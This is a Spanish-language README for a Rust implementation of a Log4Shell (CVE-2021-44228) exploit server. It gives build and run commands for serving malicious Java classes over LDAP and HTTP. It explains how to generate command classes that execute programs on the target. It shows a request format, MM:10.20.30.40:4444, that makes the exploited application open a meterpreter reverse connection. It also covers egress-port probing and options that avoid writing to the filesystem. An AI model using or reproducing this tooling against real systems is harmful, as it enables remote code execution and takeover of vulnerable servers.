
Implementación en Rust de Log4Shell (log4j - CVE-2021-44228)
Implementación en Rust de Log 4 Shell (log4j - CVE-2021-44228)
para compilar ejecuta cargo +nightly build
Esta versión te permitirá construir clases de comando, servir dinámicamente un mini meterpreter que se ejecuta en un hilo de la aplicación Java explotada, y ejecutar los servidores LDAP y HTTP. Esta versión atiende tanto las solicitudes LDAP como HTTP desde el mismo puerto.
Puedes ejecutarlo en múltiples puertos simultáneamente para intentar ver qué puertos pueden estar disponibles para salida en la máquina objetivo.
Si la solicitud no es LDAP o HTTP, entonces puede redirigir la solicitud a otra máquina, nuevamente en el mismo puerto. Si la máquina objetivo tiene solo un puerto de salida, puedes atender LDAP, HTTP y usar el mismo puerto para redirigir la conexión meterpreter a otro puerto local u otra máquina.
Esta versión ya no requiere tener instalado javac. Aún permite la "construcción dinámica de clases", pero lo hace alterando clases precompiladas incrustadas en el ejecutable.
Esta versión añade los puertos top 100 y top 1000 según lo definido por nmap. Usa las opciones --pC100 o --pC1000.
El caso de uso típico es construir clases de comando y luego ejecutar el servidor.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
luego puedes solicitar Cmd1 y esto lanzará firefox en linux y Calc en Windows. Si solicitas TouchMe, tocará /tmp/me en linux y en windows no ejecutará nada.
luego puedes ejecutar l4srs run --pC100 para iniciar el servidor en los 100 puertos principales y puede servir Cmd1 o TouchMe.
Adicionalmente, si solicitas MM:Host:puerto, creará dinámicamente una clase mini meterpreter que se conectará al host y puerto en la solicitud. Si tu msfconsole se está ejecutando en 10.20.30.40 en el puerto 4444, solicitarías MM:10.20.30.40:4444. Esto no se construye con el comando build, se construye dinámicamente en la solicitud.
Esta versión permite la construcción y entrega de clases desde una caché en memoria. Todas las clases dinámicas MiniMeterpreter ya no tocan el sistema de archivos. Además, se añaden 2 nuevas banderas. La primera es --no_fs que obliga a que nunca sirvamos archivos desde el sistema de archivos. La otra, --allow_cmd, habilitará la construcción dinámica de clases mediante una solicitud POST a /build_cmd desde cualquier puerto abierto con un cuerpo JSON con los campos: class_name, l_cmd, w_cmd